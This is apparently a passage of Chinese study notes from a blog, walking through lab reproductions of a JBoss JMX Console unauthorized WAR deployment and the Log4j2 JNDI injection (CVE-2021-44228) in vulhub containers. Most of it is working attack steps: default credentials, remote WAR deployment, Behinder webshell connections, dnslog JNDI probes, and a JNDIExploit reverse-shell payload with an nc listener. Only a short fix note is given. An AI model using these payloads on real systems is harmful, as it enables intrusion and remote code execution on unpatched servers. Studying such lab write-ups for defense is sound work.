生命在于学习——框架-中间件的学习(二)_第64张图片
然后冰蝎链接

http://192.168.23.133:8080/shell/shell.jsp
rebeyond

生命在于学习——框架-中间件的学习(二)_第65张图片

7、高版本JMX Console未授权访问getshell

漏洞描述

JMX Console默认存在未授权访问,直接点击JBoss主页中的 JMX Console 链接进入JMX Console页面 , 通过部署war包 , getshell

影响版本

Jboss6.x以下

环境搭建

cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d

漏洞复现

http://192.168.23.133:8080/jmx-console/

生命在于学习——框架-中间件的学习(二)_第66张图片
这里使用的环境是 CVE-2017-12149 , 所以需要输入密码

admin
vulhub

本地搭建部署点
在JMX Console页面点击jboss.system链接,在Jboss.system页面中点击service=MainDeployer,如下
生命在于学习——框架-中间件的学习(二)_第67张图片
进入service=MainDeployer页面之后,找到methodIndex为17或19的deploy 填写远程war包地址进行远程部署
生命在于学习——框架-中间件的学习(二)_第68张图片
搭建远程部署 , 部署远程war包地址
生命在于学习——框架-中间件的学习(二)_第69张图片
然后输入Invoke

http://192.168.1.112:8000/test.war

生命在于学习——框架-中间件的学习(二)_第70张图片
点击Invoke

使用冰蝎链接

http://192.168.1.159:8080/test/test.jsp
rebeyond

生命在于学习——框架-中间件的学习(二)_第71张图片

五、log4j2(核弹漏洞)

1、log4j2介绍

Apache Log4j是一个基于Java的日志记录组件。Apache Log4j2是Log4j的升级版本,通过重写Log4j引入了丰富的功能特性。该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。

Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。

2、CVE-2021-44228

log4j2远程代码执行
漏洞描述

Apache Log4j2 中存在 JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
通俗简单的说就是:在打印日志的时候,如果你的日志内容中包含关键词 ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,并且执行。由于 Apache Log4j2 的某些函数具有递归分析函数,因此攻击者可以直接构造恶意请求来触发远程代码执行漏洞。
${jndi:ldap://ibc23d.dnslog.cn/test}

影响版本

2.0 <= Apache log4j2 <= 2.14.1

环境搭建

cd vulhub-master/log4j/CVE-2021-44228
docker-compose up -d

Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。具体文件 , log4j-api, log4j-core 两个jar包
漏洞复现
访问

http://192.168.23.133:8983

生命在于学习——框架-中间件的学习(二)_第72张图片
直接访问

http://192.168.23.133:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.fivlgu.dnslog.cn}
																	dnslog

生命在于学习——框架-中间件的学习(二)_第73张图片
生命在于学习——框架-中间件的学习(二)_第74张图片
收到dns请求 , 说明存在漏洞

漏洞利用 使用 JNDI注入工具getshell

在kali上运行

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.23.133

开启监听

nc -lvvp 5656

构造以下命令执行

http://192.168.23.133:8983/solr/admin/cores?action=${jndi:ldap://192.168.23.133:1389/Basic/ReverseShell/192.168.23.133/5656}

成功反弹shell
生命在于学习——框架-中间件的学习(二)_第75张图片
漏洞修复

升级log4j2版本
安全版本
Apache log4j-2.15.0-rc2

你可能感兴趣的:(生命在于学习,#,漏洞学习笔记,学习,中间件,java)